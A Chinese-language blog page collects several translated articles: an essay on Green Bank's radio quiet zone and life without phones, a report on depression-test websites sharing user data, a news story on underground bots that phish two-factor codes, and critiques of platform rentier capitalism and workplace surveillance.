就在麦克纳利先生的狗忙着追燕子的时候，我问他，他真的没有手机吗？他告诉我过去自己从来没用过，但是最近，每当他不得不离开无线电静默区时，“外面的人都告诉我必须要买一部手机。

”前阵子，距离这里100英里的地方新开了一家五金店，他试图用自己很多年没用过的一张信用卡刷卡付费。

结果这一刷卡触发了某种安全保护措施，五金店的柜员告诉麦克纳利先生，他们必须确认这张卡是正在由户主本人使用，银行马上就会给账户预留的电话号码打电话确认。

麦克纳利先生说，“他们只是想打个电话，听到我亲口确认自己在刷卡而已。” 但是他不得不一遍遍解释，自己的手机没带在身上，手机还在格林班克，而且，那也不是一台手机，只是一台固定电话——当时柜员们甚至无法理解 “我没有手机只有电话” 是什么意思。

麦克纳利先生认为，在格林班克群山以外，这个国家其他的地方正在变得越来越疯狂。

「图」

「图」

Playground equipment on the observatory campus.

天文台的导游 Noreen Prestage 对此极为赞同，她自己已经在格林班克生活了17年，没有用过手机也过得开开心心。

但是就在几周之前，她还是感到手机很必要，有了手机，自己在静默区以外和儿子或者朋友们聚会的时候就更容易碰面了。

普莱斯泰治说："其实我连座机都没有，我更不想要手机，但是如果你打算在静默区以外干点什么，就必须用到它。"

"当我在自己房子周围溜达，我会安静地想事儿，我认为人们已经失去了与自己独处的能力—— 单纯坐在自己的桌子上，什么也不干只是看看远处的山，这件事没有任何不对。"

因为在格林班克所有的设备都是有线的，因此这里允许居民使用座机电话，如果你想要一个的话还可以得到一台录音电话机。

虽然这里的居民必须保证不使用Wi-Fi，但他们可以用以太网网线连接到互联网。

当我入住租来的小屋时，我发现那里配备了一种我很熟悉却叫不上名的东西，你可以把它插在笔记本上，这样就能使用网线连网了。

过了好一会儿，我才想起来这玩意儿的名字：加密狗（Dongle），自从上世纪90年代之后我再也没用过这个字眼。

「图」

「图」

The National Radio Quiet Zone comprises 13,000 square miles of mountainous terrain with few cell towers or other transmitters.

另外一个细节也让我想起二三十年前：因为要连接网线，我只能在房

间的某一个固定区域上网，而且网速慢得我都不指望自己能看到一张Logo那么大的图片完全显示出来。

我习惯一边吃饭一边点开新闻视频，但这个小习惯对于小镇古老的互联网来说实在太奢侈了，于是我只好改为一边吃饭一边思考。

我开始想象一个智能手机从未出现过的平行世界，假如人类在21世纪初并没有把未来押宝在移动技术上呢？

社交媒体可能仍然关注于人们的假期生活—— 人们根据兴趣与个性组织各种形式的周末俱乐部以供假期消遣—— 而不是像今天的智能手机这样，它们模糊了日常生活与假日生活的边界，让人难以区分工作和生活。

如今手机就像魔法棒，你可以用它变出一张披萨、一辆车、一个朋友，甚至一夜情。

你也可以用手机在短短一瞬之间毁掉自己的生活—— 无论是购买来路不明的药物，还是在凌晨3点被一条评论逼疯，或者沉溺在陌生人带来的幻想与刺激之中。

甚至有些时候，从口袋里掏出手机时，我会感觉到仿佛自己就站在高楼的房檐上，几个冲动的念头马上就会让我踏出那一步毁灭自己。

每一天每一刻，尽管手机中潜藏着危险，它的魔力还是让人感到愉悦、刺激，同时也令人疲惫。

- 《最完美的绑架》

到了黄昏时，我在天文台一座长长的、低矮的实验室大楼附近停下车，徒步走完剩下的路程，进入天文台大门。在这座大门以内是重点保护区，任何汽油、柴油汽车都不得入内（因为火花塞也会干扰那些天文望远镜）。

「图」

「图」

Cass, an old railroad town six miles from Green Bank, lies within the Radio Quiet Zone.

当我经过一排望远镜时，看到一条延伸到树林深处的土路，那时候正

好天完全黑下来了，我的影子就消失在那条路上。

一种小小的青蛙—— 可能是春雨蛙 —— 叽叽喳喳叫着，努力地在空气中散布它们特有的干扰。

鹿在四下里的树丛中横冲直撞，或者突然从我面前的小路上一跃而过蹿进黑暗中，只能看到白色的尾巴一翘一翘的。

我的手指微微弯曲着，还习惯性地想抓起一个手机，这让我突然想起很多年前的一个瞬间：大概是2011年或者2012年吧，当时我买了第一部智能手机，替换掉了过去的“傻瓜机”，带着智能手机，也带着互联网踏入一片深山老林去放空脑袋。

我记得那天自己在一棵松树上看到一块生锈的警示牌：“禁止非法入侵”，铁牌子在那里钉太久了，树皮已经从四周把它包起来了。就好像树长出了上下鄂，要把警示牌嚼碎。

如果那天我手边没有智能手机，我大概只会静静地看着那块牌子，也许在心里悄悄自嘲一番。

但是我带着手机，而且互联网也不停地逗弄我的心，结果当时我满脑子唯一能想到的事就是怎样才能拍出一张抓眼球的照片发到推特上去。

突然意识到这一点后，我马上在脑海里叫停：这他妈是怎么了？把我自己的念头变成一篇帖子、一篇推文，我就是在非法入侵自己最宝贵的独处时光。

「图」

「图」

Gas-powered cars are not allowed within the gates of the observatory.

当我们谈起隐私时，总是一下子就想到那些坏人在网上监视我们，恶意盗用我们的数据资料。但是另一种隐私侵犯同样危险，其后果甚至更可怕—— 装在你口袋里的那个互联网，每时每刻都在怂恿你自行践踏内心的旷野。

我站在松树前的那一刻，为了遏制发一条推特的强烈欲望，我不得不在心里和自己打作一团。

最终我决定，“既然一定要发推，那我就只发给我自己。”

于是我没有真的去拍一张照片，而是假想自己拍了一张照片，接着在脑海中发布出去。

从那以后，我已经在想象中拍下了无数张推文配图。

想要逃离互联网，却又在心里纠结挣扎的肯定不止我一人。

的确，当你深入那些国家级地质公园，你可以一边爬山一边还在没完没了地打电话，你也可以攀爬在峭壁上找个完美的角度自拍，甚至还能直播自己是怎样遇到一只鱼鹰的。

2017年《户外》杂志有一篇报道称，整个 Instagram 都为一处特别上镜的景点疯狂了，那是个位于亚利桑那州的峡谷，名叫马蹄峡谷（Horseshoe Bend）。裸露的红色岩层在网络上被疯狂转发，于是每天有数以千计的人成群结队地聚集在峡谷岩壁上。

但是，去这样的地方还能被称为置身荒野吗？

「图」

「图」

「图」

「图」

大概有150人常住格林班克，他们的房子要么排列在一条双车道公路两边，要么远远地躲进树林里。

你可以在特伦特的杂货店买到生活必需品，但如果你想买点外卖吃食，最好到 Henry 的加油站小超市碰碰运气，那里有个披萨冷柜，还堆着很多红、白、蓝三色外卖纸盒子，很适合把家里破烂的旧国旗扔在那里。

总之，第二天早上我选择去那里喝一杯咖啡。

“天气不错？”我对那个在我前面排队结账的男人打了个招呼。作为回应，他把自己这辈子的往事对我和盘托出了。

他曾经是个长途卡车司机，直到突然有一天大脑内部的动脉瘤让他陷

入昏迷，医生本以为他这辈子再也站不起来了。不过现在他还能用自己的两条腿走到这里来买个甜甜圈，所以他肯定了我的话，天气真他妈不错。

这个人走路的姿势很奇怪，胸脯挺着，脑袋转着，好像要扫视店里每个角落，无论是猎枪用具还是儿童小蛋糕都要看在眼里。

一开始，我猜他的走路姿势一定是脑损伤遗留的症状，不过我观察了一会儿发现，这里似乎每个人都以一种昂首挺胸的姿态四处走动。

事实证明，没有了手机，你也就不会有手机带来的驼背。不仅如此，因为你除了看着别人的双眼也没有别的地方可以躲藏眼神，于是这里的人喜欢聊天。

「图」

「图」

Most small towns in the Quiet Zone have at least one pay phone.

「图」

「图」

Betty Mullenax working the register at Trent’s General Store, Green Bank’s main grocer.

这天晚些时候，我和一位与众不同的女士聊了很久，她和大多数格林班克人不一样，很多年前就拥有了一部手机。

她告诉我，在搬到这里之前她曾经是个工作狂，给同样是工作狂的老板当助理，而且“7×24小时随时在打电话”。

“为了让老板随时能找到我，哪怕睡觉时我也会把手机放在床头。过去我整个人都被绑在那部手机上了，一开始我并没有意识到，直到有一天我看到自己休假时拍的照片。在我入镜的每一张照片里，我都在盯着手机。”

大概一年半之前，她丈夫终于说服了她搬到这里，因为他就是个格林班克人，“在这里出生，在这里长大，而且一直渴望能回到这里。”

这位女士告诉我，如今“我和丈夫在吃晚饭的时候可以一直聊天，不

受任何打扰”。

他的丈夫开着一辆旧卡车东奔西跑也从来不会担心，因为他知道如果卡车坏了，总会有人让他搭车。

如果你需要打一通电话，你可以随时开车到多来连锁店，请店员让你借用那里的固定电话。但是说实在的，在这里，你又有什么时候是需要打电话的呢？

这位女士还说，这里的生活并不适合所有人，她已经看到很多人来了又走，也许80%的人并不能适应这里。

我很清楚，自己就是那 80% 之一。我知道自己属于荒野，但是同时我也能感觉到，并不是置身荒野才能让自己维持理智，只要知道那些荒凉的净土仍然存在，就已经能让我保持理智了。

「图」

「图」

A worker on the surface of the Robert C. Byrd Telescope on a training day.

我在格林班克的第三天也是最后一天，正好赶上格林班克最大的望远镜罗伯特·C·伯德关闭检修，我也被允许登上望远镜参观。

这座望远镜比自由女神像还高，也是地球表面最大的可人为操纵物体之一。

我们乘坐的电梯就像游乐场里的设施那样一路颠簸猛蹿着把我们带到了顶部，顺着一条钢铁走廊可以登上望远镜的球面，这是一块2英亩的纯白凹面空地。

我看着一位维修工人走在球面富有弹性的结构上，突然觉得他好像在一片白色沙漠中迷了路，蓝色的天空就像一片倒挂的湖水悬在他的头顶。

「图」

「图」

「图」

「图」

「图」

「图」

The lattice work under the 2.3 acre dish.

「图」

「图」

Mike Holstine 是格林班克天文台的业务经理兼新闻发言人，他告诉我人们可以通过天文台探索太多太多信息—— 无论是近地小行星的确切位置，还是寻找最初组成星球的物质到底是什么。

他还说，这些科学观测需要搜集的信号极其微弱，可能只有“十亿分之一瓦的十亿分之一的十亿分之一。”

格林班克已经多年严格禁用微波炉，因为它们可以抹除那些从远方传来的，几十亿年前的微弱信号。但是在未来科学家们还能怎么做呢？

毕竟如今随便什么家用电器都可以连入互联网，无论是一个烤面包机，还是一块电池。

今天，就连汽车轮胎也能发射信号更新自身的气压状态信息。霍尔斯汀说：“所有这些都让安静成为一种越来越值钱的科研资源。”

的确如此，而且也越来越稀有了。

正因形势不容乐观，科学家们正在未雨绸缪，准备应对那个“安静世界的末日”。

Ellie White 是马歇尔大学的一名学生，自从14岁起她就志愿参与格林班克天文台的日常工作与研究，她告诉我，目前天文台的科学家们正在研究如何监测并排除突发性干扰，比如，一名游客开着车内蓝牙高速行驶通过小镇。

科学家目前的方案逻辑是先识别出人类制造的干扰信号，并从数据库中删除，这样科学家仍然有可能筛出来自无数光年以外的微弱信号—— 就好像一副只播放宇宙之声的降噪耳机。

但是，我们脑海中那个濒临消失的静默区又该由谁来守护呢？

我们头脑中迸发的思绪正如宇宙大爆炸留下的微波辐射，繁杂又微妙；遥远的回忆也正如宇宙中偏远的星系，若即若离 —— 难道互联网永不停息的嗡嗡声也要把这些东西抹消掉吗？

霍尔斯汀说，只要他人在格林班克镇，“我用过互联网之后，还可以轻松断开互联网。”

但是在静默区以外，人们“只能永远连接着互联网。”

他还说：“他们收到一条消息，就必须马上点开它。

对于很多人来说，似乎已经不存在屏蔽这些消息的选择了。对于他们来说，使用手机不仅是一部分日常生活，更是日常生活的绝大部分，特别是工作—— 这就像尾巴反过来在摇狗。”

在格林班克的这几天我几乎是完全离开了互联网，我发现自己特别能理解他在说什么：在我眼里，群山之外的世界看上去也变得疯狂起来了。

问题是，我们该如何保护星光、安宁、黑暗这些几乎毫无市场价值的资源呢？

对于这个问题，天文学家们已经思考了几十年，他们最终想到了一个答案：国际黑暗天空保护区。

在这些区域，你可以在真正的星空下散步，仿佛银河倾泻泼洒；你也可以在茫茫宇宙中搜寻你要找的那个证据，无论多么微弱渺小。

2017年，爱达荷州中央保护区成为了美国第一个国际黑暗天空保护区，那里**1400**平方英里不受人造光污染的土地聚集了世界各地的观星游客。

「图」

「图」

The telescopes at Green Bank are powerful enough to detect the death throes of a star. These photographs were taken on medium format film with a mechanical camera that contained no electronics and required no electricity. To prevent interference, the

photographs taken nearest the radio telescopes were made without the aid of a light meter, timer or any device that required a battery.

然而，对于那些离线断网的、崇尚隐私的社区，我们目前还没有任何相似的保护措施。

如果没有任何人为这些无形的宝藏游说，最后一个静谧的地区也终将消失。

2012年，美国国家科学基金会曾经考虑过一项关闭格林班克天文台的提案—— 最终以40%的民众支持率草草收场。如今，该天文台只能依靠私募基金和大学科研拨款来支撑经费。

如果这个天文台被关停，那么可想而知的后果就是国家无线电静默区也会跟着消失。

离开那天，当我把行李装上车离开格林班克镇的时候，我突然有种自信，觉得自己能找到来时的路，结果就是在那一刻我走错了一个岔路口，迷了路。

我将错就错，仔细体会着迷路的感觉，毕竟这年头你真的没什么机会迷路了，不是吗？

这条路带着我经过一个废弃的铁路站台，最终把我带到一条河边，我在那里离开车子，跳进河里趟着水，尽情在河底的石头上滑倒。

很快我就进入了互联网覆盖的地区，但那一刻，我已经越过了那条界限，那一刻我踏入了黑暗。〇

The Land Where the Internet Ends

原文

在线心理测试正在利用你最痛苦的内心赚钱 - iYouPort

你应该了解的现实你我的灾难现实

建议最好不要使用在线心理测试，尤其是发布在社交媒体上那种。人们都希望了解真实的答案，于是会尽全力填写关于自己的真实的一切，结果就是，对监视者来说这些数据比求职网站的含金量更高 ……

「图」

「图」

现在所有人都知道监视资本主义是什么东西了。他们用你的一切行为习惯和内心赚钱。而在这个互联网上的某些角落里，信息会更加值钱。

现在，一份新的报告发现，即使在心理健康网站上 —— 那种您渴求抒发内心最痛苦的阴影的地方，您的隐私人权也是岌岌可危的。

- 我们提醒过，不要使用社交媒体上的任何小测试和问答游戏

国际隐私组织发布了一份报告《您的心理健康正在被出售》，该报告探讨了心理健康网站如何处理用户数据的问题。结果挺可怕的。

隐私国际组织查看了Google法国、谷歌德国和谷歌英国的136个心理健康网页。通过英法德语分别搜索抑郁症，并根据网络分析服务 SameWeb 列出了访问量最大的网站。

使用开源软件 webxray 来识别第三方 HTTP 请求和 cookie。然后对网站进行了分析。

分析发现，97.78%的网页具有第三方跟踪，其中可能包括 cookie，JavaScript 或外部服务器上托管的图像。这些第三方元素的主要目的是追踪定位广告。

Webxray 的分析发现，有 76.04% 的网页具有用于营销目的跟踪器 —— 法国的80.49%的网页、德国的61.36%的网页、和英国的86.27%的网页。

第三方跟踪器中还包括来自Google、Facebook 和 Amazon 的广告服务，其中以 **Google** 跟踪器最为流行，其次是 Facebook 和 Amazon。

报告还更深入地研究了这些网站的子集（这三个国家的Google搜索结果排名前三位的 “抑郁测试” 网页），结果表明这些跟踪器以更具体、更糟糕的方式诱骗了所有人最私密的数据。

隐私国际组织发现，一些抑郁症测试网站存储了用户的回复结果，并与第三方共享了这些数据以及人们的测试结果。

调查还发现，两个抑郁症测试网站都使用了 Hotjar，这是一种在线反馈工具，可以记录某人在网页上键入和点击的所有内容 —— 不难想象他们会如何利用这种数据。

该报告还提出了有关知情同意的问题，尤其是考虑到欧盟 GDPR 以及其声称为更好地保护消费者的数字隐私所做的努力。

这些网页中不仅有许多跟踪用户敏感信息的跟踪器，而且这样做是在不符合知情同意的新法律标准的情况下进行的。

- 更不用说同意根本不起作用《“数据所有权”不仅无法解决现有问题，它还制造了新的问题》

隐私国际发现，在分析的9个抑郁症测试网站中，有3个未包含Cookie横幅以表明该网站具有第三方跟踪器。并且调查还发现，在确实有横幅的6个网站中，有4个网站没有采用任何明确的方式允许用户退出跟踪。

报告指出：“许多心理健康网站并未认真对待访问者的隐私。这项研究还表明，一些心理健康网站将访问者的个人数据视为商品，却没有履行欧洲数据保护和隐私法规定的义务。”

虽然现在您知道了，阴暗的数据经纪人已经将黑手伸到了互联网更脆弱和更敏感的部分，但这确实不足为奇，只是依然需要沮丧地提醒您，您不应该指望任何网站满足你的利益，无论其性质如何。

国际隐私组织在其报告中建议用户在填写在线心理健康测试以确定它

是否安全之前，应在其浏览器中阻止第三方 Cookie，使用广告拦截插件和反跟踪扩展程序，并进行一些尽职调查。

简单说，您只能也必须自己保护自己。在我们的 列表-1 中的“技术防身”栏目中看到具体保护措施；如果您是敏感人士，请参见 列表-5 中的 “护盾” 栏目。〇

Online Depression Tests Are Collecting and Sharing Your Data

原文

地下市场：窃取您的两步验证码的机器人正蓬勃发展 - iyouport

你应该了解的现实

多因素认证智能手机应用程序（如谷歌认证器）生成的代码也不是可靠的，也会被同样的方法利用。

这些机器人看起来令人信服，且可以毫不费力地帮助黑客入侵 Coinbase、亚马逊、PayPal 和银行账户。我们在10月14日发布了这个消息：https://t.me/iyouport/8845

这通电话来自 PayPal 的防欺诈系统。根据电话中的自动语音，有人试图使用我的 PayPal 账户消费58.82美元。贝宝需要验证我的身份以阻止转账。

语音说："为了保护您的账户，请输入我们现在发到您的移动设备的验证代码"。贝宝有时会给用户发一个代码，以保护他们的账户。在输入一串六位数字后，该声音说："谢谢您，您的账户已经得到保护，这个请求已经被阻止了"。

"如果有任何付款被记入您的账户，请不要担心：我们将在24至48小时内退还。您的参考ID是1549926。您现在可以挂断了"，那个声音说。

但这个电话实际上是来自一个黑客。诈骗者使用了一种机器人，大大简化了黑客欺骗受害者的过程，让受害者交出各种服务的多因素认证码或一次性密码（OTP），让他们登录或授权现金转账。各种机器人以苹果支付、贝宝、亚马逊、Coinbase 和各种特定银行为目标。

以前愚弄受害者交出登录凭据或验证码，往往需要黑客直接与受害者对话，比如在电话中假装是受害者的银行，而如今被广泛使用的这些机器人则大大降低了绕过多因素认证的门槛。

主板要求一个叫 Kaneki 的人通过向主板记者的手机发送自动呼叫来演示这种攻击能力，他在网上销售这类机器人。在输入一个代码后，

Kaneki 显示他的机器人收到了相同的代码。

“这个机器人对于没有社交工程技能的人来说是很好的”，另一个声称获得了这种机器人的网友 OTPGOD777 在网上聊天时告诉主板说，不是每个人都能 “在电话中自如地说服别人，你知道”。而机器人则可以轻易做到。

有了这些售价几百美元的机器人，任何人都可以开始绕过多因素身份认证，这是一项被很多公众认为是基本靠谱的安全措施。而这些机器人的存在且越来越受欢迎，引发了这样的问题：在线服务是否需要提供更多对抗网络钓鱼的认证形式来保护用户。

- 双因素认证并不总是靠谱的。如果您错过了《如何使用社交工程来攻击 2FA？》

https://t.me/iyouport/8843

要侵入一个账户，黑客将需要受害者的用户名或电子邮件地址和密码。黑客可能从以前的数据泄露事件中获得这些信息，其中包含许多人在互联网上重复使用的凭证。OPTGOD777 说，或者黑客可以从垃圾邮件发送者那里购买一套 “银行日志”—— 登录细节。但受害者可能已经启用了多因素认证，这就是机器人的用武之地。

无论是在 Telegram 还是 Discord，黑客都会输入目标人的电话号码和黑客想要侵入的平台。在后台，机器人会给目标人打自动电话。Kaneki 告诉主板，这些机器人使用类似于 Twilio 的网站，Twilio 是一家面向企业的通信公司，可以让客户发送信息和拨打电话，不过 Kaneki 表示，并非所有的机器人都专门使用 Twilio。

“Twilio一直在打击OTP机器人账户”，他们说。Twilio 的企业通信总监 Cris Paden 证实，Twilio 知道有OTP机器人使用其平台。他在一封电子邮件中告诉主板，“我们有一个团队，他们很清楚并正在积极监测这个问题”。

Paden 补充说：“一旦他们意识到一个实例，他们会立即进行调查并采取行动，包括在必要时关闭该号码和正在使用的账户”。

当机器人发出自动呼叫并要求受害者输入他们刚刚收到的验证码时，黑客会同时触发一个合法的代码从目标平台发送到受害者的手机上。他们可能通过在网站上输入受害者的用户名和密码来做到这一点，因此受害者会收到一个登录或授权代码。虽然电话中的机器人可能会告

诉受害者，该代码有一个目的—— 也许是阻止现金转移或保护他们的账户免受未经授权的进入等等，但实际上，黑客正在使用该代码来进入目标账户。

然后，机器人将受害者输入的代码，反馈给机器人的界面，然后黑客就可以使用该代码登录了。

“网络犯罪分子不断尝试新的方法来诈骗人们，这个OTP/2FA代码窃取机器人只是欺诈者获得创造性的另一个例子。网络安全公司 SocialProof Security 的首席执行官兼联合创始人雷切尔·托巴克（Rachel Tobac）在查看了通话音频后，在一封电子邮件中告诉主板说：“这将说服许多毫无戒心的受害者交出他们的OTP/2FA代码，骗子甚至不需要是一个熟练的社交工程师，他们可以简单地使用这个机器人来尝试接管账户”。

网络安全公司 Cygenta 的联合创始人 Jessica Barker 在一次在线聊天中告诉主板：“使用OTP/2FA机器人是令人不安的，因为它使犯罪分子更容易实施他们的骗局，它使人们更容易受到他们的影响。因为人们已经变得更加习惯于和自动系统沟通，这使得机器人比人更有说服力。再加上典型的恐惧操纵，以及不必担心未经授权的付款会通过等等，这就变得更有说服力了”。

多个卖家告诉主板，这些机器人也可以用来获取由多因素认证智能手机应用程序（如谷歌认证器）生成的代码。其原理基本上是一样的 —— 诱使目标将代码交给黑客。

除了亚马逊、贝宝和 Venmo 等网站或服务，一些机器人还针对特定的银行，如美国银行和大通银行等。

一位在金融领域从事安全工作的消息人士告诉主板，“特别是对于那些使用手机短信作为双因素认证的人，更危险”。

大通银行的一位发言人在一份声明中告诉主板：“不幸的是，骗子针对许多银行的消费者。我们敦促所有消费者永远不要分享自己的银行密码或银行发给他们的一次性代码。银行员工不会打电话、发短信或发电子邮件要求消费者提供这些信息，但骗子会这样做”。

Coinbase 的一位发言人在一份声明中告诉主板，“Coinbase 承认，网络犯罪分子在网上瞄准有价值的信息，他们越来越有创造力和持久性。这就是为什么我们采取广泛的安全措施，以确保我们的平台和客户账户保持尽可能的安全，包括定期教育我们的客户使用最安全的

2FA形式，并支持硬件安全密钥 ……”。

亚马逊告诉主板，它知道网络钓鱼机器人的存在。

美国银行、贝宝和苹果公司没有回应评论请求。

2月，Krebs on Security 报道了一个名为 OTP Agency 的OTP机器人。然后在7月，网络安全网站 Frank on Fraud 报道了其他一些机器人，包括一个名为 BloodOTP 的机器人。威胁情报公司 Intel471 在9月公布了它自己对这些机器人的研究。

主板也发现了更多的机器人，而且它们似乎越来越受欢迎。

“前一段时间，比如10个月前，市场上还没有那么多，如果有的话，也很贵。最近，它们变得更受欢迎了”，Kaneki 说。Kaneki 拒绝透露他们是否自己设计了这个机器人，或者他们是否在销售由其他人制作的机器人。

在各种 Telegram 群组中，有这类机器人的明显用户分享他们的成功经验，包括机器人行动的截图。一些成员还希望相互合作，以尝试针对更多的受害者。

一个 Telegram 频道中，SMSranger（其中一个看似更受欢迎的机器人）推送有关其产品的更新和公告，包括约5000名用户。第二个频道是 SMSranger “社区” 成员之间的聊天频道，有2800多名用户，其中500多名成员在一天中的多个时段在线。

一些机器人卖家最近还开展了促销活动，估计是为了吸引更多的客户。SMSranger 推出了一个限时优惠，一个月的机器人使用费为540美元，终身使用费为2750美元。一天后，该机器人又恢复到600美元和4000美元的全价。

BloodOTP 的创作者在今年早些时候在与主板的在线聊天中声称，他们的机器人从未工作过。在被记者联系后不久，BloodOTP 的管理员放弃了他们的 Telegram 账户。在写这篇文章的时候，其中一个被放弃的账户现在指向属于另一个OTP机器人的账户，该账户被提供出售，名为 “Yahooze”。

作为对 BloodOTP 关闭的回应，SMSranger 于8月在自己的 Telegram 频道上发布消息说 “我们知道 bloodotp 已经关闭了，希望张开双臂欢迎他的老客户”。随后，SMSranger 为 BloodOTP 的老客户提供了20%的折扣，如果他们转而订阅 SMSranger，他们的第一个月的费用

就会减少。

“这是你为你的OTP机器人需求做出正确选择的机会”，该帖子写道。
○

The Booming Underground Market for Bots That Steal Your 2FA Codes

原文

地主2.0：科技的新食利资本主义 - iyouport

你应该了解的现实你我的灾难现实监视资本主义的世界

【2019年10月24日存档】你花了大价钱购买的东西并不真的属于你，你只是个随时有可能卷包滚蛋的租客……

通过向我们出售硬件但保留软件和数据的所有权，科技公司正在将用户视为数字租户。

当蒂姆库克和他的同事们在3月25日为苹果公司的活动登台表演时，他们宣布了一个重要的战略支点。

该公司知道其 iPhone、iPad 和 Mac 的市场停滞不前，这一趋势不太可能很快改变。

这意味着 Apple 需要向其客户出售其他产品。

苹果公司在宣布推出一系列需要订阅的新服务后宣称："苹果公司作为一家服务公司的重塑是真实的：

Apple TV ＋用于播放电影和电视节目；Apple News ＋ 用于汇总新闻出版物；Apple Arcade 用于玩游戏；Apple Card 用于支付所有费用……

凭借 Apple 庞大的内置用户群，金融分析师估计该公司可能在短短几年内就能达到1亿用户，随着时间的推移创造出"每年70亿至100亿美元的收入流"。

苹果公司所做的不仅仅是应对竞争压力 —— 而是，它正在跟随技术如何被用来改变财产所有权和利润积累之概念的转变。

Facebook、Uber 和 Netflix 等等都在构建平台并提供服务，努力将自己插入社交关系、经济交易和个人消费。

它们深度渗透到人们的日常活动中，并无止境地收集有关我们行为和兴趣的宝贵数据。

而且，至关重要的是，他们收取访问权费用 —— 而不是所有权，这种模式已经越来越过时了。

然而，所有这些公司正在做的事 —— 包括苹果公司 —— 正在重振长期与地主和封建主义联系在一起的旧形式资本主义幽灵。

无论我们称之为“平台资本主义”、“监视资本主义”，还是仅仅“下一代资本主义”，都没什么不同，这种资本运作模式采用的是调解和封闭来实现对其主体的提取和控制。

“Rentier”是指资产所有者向其他人收取访问该资产的费用的关系，就像房东向租户收取房租一样。

很难低估这种租赁模式现在应用于消费者世界的程度。

近年来，大量企业将自己描述为 “Uber for X” 或 “X as a service” —— “即服务”句式，例如 WeWork 提供“空间即服务”、或亚马逊的 Mechanical Turk 提供“人类即服务”（人类变成投喂机器的流水线工人）。

风险资本家和企业家正在寻找机会来获取价值 —— 美元和数据 —— 通过控制资产然后向用户收取访问这些资产的费用，无论是办公空间、音乐还是游戏。

除了消费者服务之外，许多政府、企业、大学和其他组织都从平台租用核心服务，例如软件和存储。

这些软件即服务业务现在发生在私人平台的生态系统中，为这些平台提供持续的收入来源，同时巩固了其在经济和社会中的关键地位。

虽然像 Uber 和 Airbnb 这样的例子相当明显，但通过广泛应用的 X-as-a-service 模式，平台也能够以包含日常事物的方式扩展租赁关系。

这里的关键技术是软件许可证，它允许新的租用者声称对嵌入的软件拥有所有权，并且从我们日常生活中使用的越来越多的物理实体中获取数据。

由于物联网概念的崛起，许多曾经普普通通的日用品，如咖啡机和牙刷，现在都配备了软件、传感器和网络连接。所谓的“智能”版本正在成为产品设计和销售的默认方式。

这些软件成为了物品功能的一部分，传感器收集有关物品使用方式的数据，Wi-Fi 将物品连接到公司的平台，以便下载和上传数据。

而且，关键的是，当您购买智能设备时，您拥有的只是物理对象。

数字软件是“许可的”，这只是“租用”的另一个委婉说辞，我们通过使用该东西生成的恒定数据流构成了我们向公司支付的“租金”的一部分。

通过将曾经普通的物体集成到物联网中，这些巨头公司能够制定一种微圈地形式，在这种形式下，它们保留对物理实体的数字部分的所有权 —— 以及访问、控制和关闭软件的权利 —— 即使你“购买”了它。

无论是流媒体内容还是许可软件，我们都在因将控制私有财产的特权转交给公司看门人而付出代价。

数字控制限制你如何使用智能猫砂盒是一回事，但是花30,000美元购买的一辆车甚至花10万美元买的拖拉机似乎就是另一回事了 —— 您拥有的只是一大块金属和橡胶，而实际操作车辆所需的软件你只能租用。

Twitter 上充满了冰箱、门铃和割草机的物联网例子，这些例子都需要互联网连接和常规软件更新才能发挥作用，而这些关键东西总是被互联网霸主掌握，只能等待进一步的指示。

正如 Gizmodo 的 Kashmir Hill 报道的那样，她连接的智能家居中的所有设备都与它们的制造商进行日常联系，不断向他们发送数据并ping更新。

“你购买的智能设备并不属于你；你与制造它的公司分享监护权。”

作为一种封闭技术，软件许可广泛且秘密地成功实现了从“用户”到“所有者”的大规模权利转移。

这就好像你买了一套房子，但你不知道，以前的房东继续拥有厨房；你没有发现，直到他们收回你的厨房，只因为你试图在没有经过他们许可的情况下进行修理或改造。

别忘了，他们一直在监视你如何使用厨房。

考虑一下智能家居的兴起，这种类比看起来并不那么牵强。

平台公司认为自己是服务提供商，而不是数字地主从他们的网络空间或他们的软件飞地中收取租金。但是，无论你叫它什么，也无法改变租借关系的实质。

人们应该将这些新发展置于索取财产、控制权、捕获价值和促进不平等的长期历史中去思考。

地理学家阿利斯泰尔·弗雷泽（Alistair Fraser）创造了“数据掠夺”这一短语，以展示这些当代的圈地动态是如何跟随人类历史上更为暴力的过程的脚步 —— 就如“土地掠夺”。

我们现在看到的食利资本主义的版本正在适应数字时代，但它仍然保持着提取和控制的相同基本特征。

这些租赁者不是通过建筑围栏和收租以获得利润，而是通过使用数字平台和给物理设备安装软件以获取价值。

通过平台业务积累巨额财富的公司告诉你，所有权是一种老式的想法，同时大规模部署了诸如“分享”和“便利”这类诱人的流行语。

但是，他们避免提到访问权的暂时性和掌控权的缺乏 —— 让你同意租用你每天使用的东西。

没有人会希望自己无法掌控自己的全部生活，仅仅作为一个租客。然而，当人们默许或不抵制“提取即服务”的扩展时，这种情况就会发生。〇

原文

如今每个打工者都是奴隶 …… 高科技动产奴隶制如何扼杀反抗 - iyouport

你应该了解的现实

【2020年10月14日存档】这一形式的剥削和对反抗的扼杀从18世纪蔓延至今，数字技术只是新添加的工具而已。如何摆脱奴役？

随着技术的进步，全球最大的公司每时每刻都在注视着所有人。高科技的工作场所监视使正在组织工会的工人们深感困扰，他们现在不仅要照顾管理工作，而且还要随时担心那堆无所不知的机器。

但是，由于围绕工作场所技术使用的公众讨论都集中在自动化上了，人们只是担心机器会取代自己的工作，却没有发现，整个技术领域都在发展，尤其是监视技术，公司可以对所有工人进行无时无刻的监视，以管理他们的生产力、做出雇用和晋升决定、甚至预测他们的健康结果。

- 《你的老板可能是比 Facebook、谷歌更大的老大哥》

根据 Business Insider 的最新报告，亚马逊旗下的 Whole Foods（全食超市）现在正在使用交互式 “热图” 来跟踪工会的所谓 “风险”。

监视工具使用一种简单但具有严重侵入性的方法以随时扼杀掉工人们为改善工作条件而组织起来抗议的可能性。

该热图已经被用于监视510多家商店中的 95,000 多名员工。正如 Hayley Peterson 所说：

> 所谓的个人风险评分是根据二十多个指标计算得出的，其中包括员工的 “忠诚度”、营业额、甚至包括种族差异 …… 该热图还跟踪了当地的经济和人口因素，例如商店所在地的失业率以及生活在贫困线以下的家庭的百分比。

随着公司和政府加大对 **COVID-19** 大流行和自**1960**年代以来最大规模的全国抗议运动的监视力度，这一问题已经尤其重要。

- 《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱：长篇报告》
- 《警察用哪些监视方式瞄准抗议者？》
- 《需要警惕不只有警察，可能还有你的邻居：警方如何构建私人监视网络》
- 《如何识别抗议活动中可见的和不可见的监视》

在如此关键的时刻，有必要让更多人了解工作场所监视的历史以及其如何被用作镇压集体组织的工具。

很多公司一直在使用先进的技术监视低薪的工人

「图」

